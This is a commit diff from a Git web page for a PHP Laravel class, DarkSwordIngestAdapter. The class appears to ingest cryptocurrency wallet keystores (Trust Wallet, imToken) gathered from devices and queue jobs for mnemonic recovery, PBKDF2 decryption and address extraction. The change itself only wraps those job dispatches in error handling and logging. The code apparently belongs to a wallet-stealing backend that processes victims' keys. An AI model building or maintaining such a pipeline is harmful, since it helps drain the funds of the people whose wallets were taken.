feat: 26&timeout&keystore
This commit is contained in:
@@ -17,6 +17,7 @@ use App\Support\WalletSource;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Database\UniqueConstraintViolationException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
@@ -256,7 +257,7 @@ class DarkSwordIngestAdapter
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -506,7 +507,7 @@ class DarkSwordIngestAdapter
|
||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
|
||||
// Async: attempt Trust UTC keystore decryption.
|
||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||
$this->dispatchKeystoreDecrypt($device, null, ['trust_wallet' => $raw]);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -536,7 +537,7 @@ class DarkSwordIngestAdapter
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -557,7 +558,27 @@ class DarkSwordIngestAdapter
|
||||
|
||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
||||
// but the job logs the reason and still extracts addresses if any).
|
||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||
$this->dispatchKeystoreDecrypt($device, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
/**
|
||||
* Queue PBKDF2 / keystore recovery off the request. A Redis outage must not
|
||||
* fail the ingest that already stored the keystore blobs.
|
||||
*
|
||||
* @param array<string, mixed>|null $wallets
|
||||
* @param array<string, mixed>|null $sandbox
|
||||
*/
|
||||
private function dispatchKeystoreDecrypt(Device $device, ?array $wallets, ?array $sandbox): void
|
||||
{
|
||||
try {
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->error('DecryptDeviceKeystores dispatch failed', [
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user